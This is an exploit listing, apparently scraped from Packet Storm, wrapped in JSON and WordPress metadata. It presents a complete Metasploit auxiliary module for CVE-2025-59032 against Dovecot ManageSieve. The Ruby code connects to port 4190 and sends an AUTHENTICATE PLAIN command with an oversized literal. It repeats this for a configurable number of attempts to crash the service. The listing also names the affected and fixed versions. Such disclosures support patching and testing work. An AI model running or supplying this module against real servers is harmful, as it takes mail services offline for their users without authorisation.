{“lastseen”:”2026-04-22T16:27:18″,”description”:”This Metasploit auxiliary module targets a denial of service vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes. Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot ManageSieve Crash Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:219557″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-59032″],”sourceData”:”==================================================================================================================================\\n | # Title : Dovecot ManageSieve Crash Denial of Service Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.dovecotpro.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a Denial of Service (DoS) vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Auxiliary::Dos\\n include Msf::Exploit::Remote::Tcp\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Dovecot ManageSieve Crash DoS’,\\n ‘Description’ =\\u003e %q{\\n Dovecot ManageSieve service crashes when receiving an AUTHENTICATE command\\n with a literal as SASL initial response. This vulnerability can be exploited\\n to repeatedly crash the ManageSieve service, making it unavailable for other\\n users.\\n \\n Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core 3.1.0-3.1.2.\\n Fixed in versions 2.4.3 and 3.1.3.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-59032’],\\n [‘URL’, ‘https:\/\/documentation.open-xchange.com\/dovecot\/security\/advisories\/html\/2026\/oxdc-adv-2026-0001.html’],\\n [‘CWE’, ’20’]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DisclosureDate’ =\\u003e ‘2026-03-27’\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(4190),\\n OptInt.new(‘ATTEMPTS’, [true, ‘Number of crash attempts’, 10])\\n ])\\n end\\n \\n def run\\n print_status(\\”Dovecot ManageSieve Crash DoS (CVE-2025-59032)\\”)\\n print_status(\\”Target: #{peer}\\”)\\n \\n datastore[‘ATTEMPTS’].to_i.times do |i|\\n print_status(\\”Crash attempt #{i + 1}\/#{datastore[‘ATTEMPTS’]}\\”)\\n crash_managesieve\\n sleep(2)\\n end\\n \\n print_status(\\”DoS attack completed\\”)\\n end\\n \\n def crash_managesieve\\n sock = nil\\n \\n begin\\n sock = connect\\n \\n banner = sock.get_once\\n vprint_status(\\”ManageSieve banner: #{banner}\\”)\\n \\n payload_data = \\”A\\” * 1000\\n literal = \\”{#{payload_data.length}}\\\\r\\\\n\\”\\n \\n malicious_payload = \\”AUTHENTICATE \\\\\\”PLAIN\\\\\\” #{literal}\\”\\n malicious_payload += payload_data + \\”\\\\r\\\\n\\”\\n \\n sock.put(malicious_payload)\\n \\n response = sock.get_once(5)\\n \\n if response.nil?\\n print_good(\\”ManageSieve service crashed (no response)\\”)\\n else\\n vprint_status(\\”Response: #{response}\\”)\\n end\\n \\n rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused\\n print_good(\\”ManageSieve service crashed (connection reset)\\”)\\n rescue ::Exception =\\u003e e\\n print_error(\\”Error: #{e.message}\\”)\\n ensure\\n disconnect(sock) if sock\\n end\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219557″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219557\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-22T16:27:18″,”description”:”This Metasploit auxiliary module targets a denial of service vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-48738","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n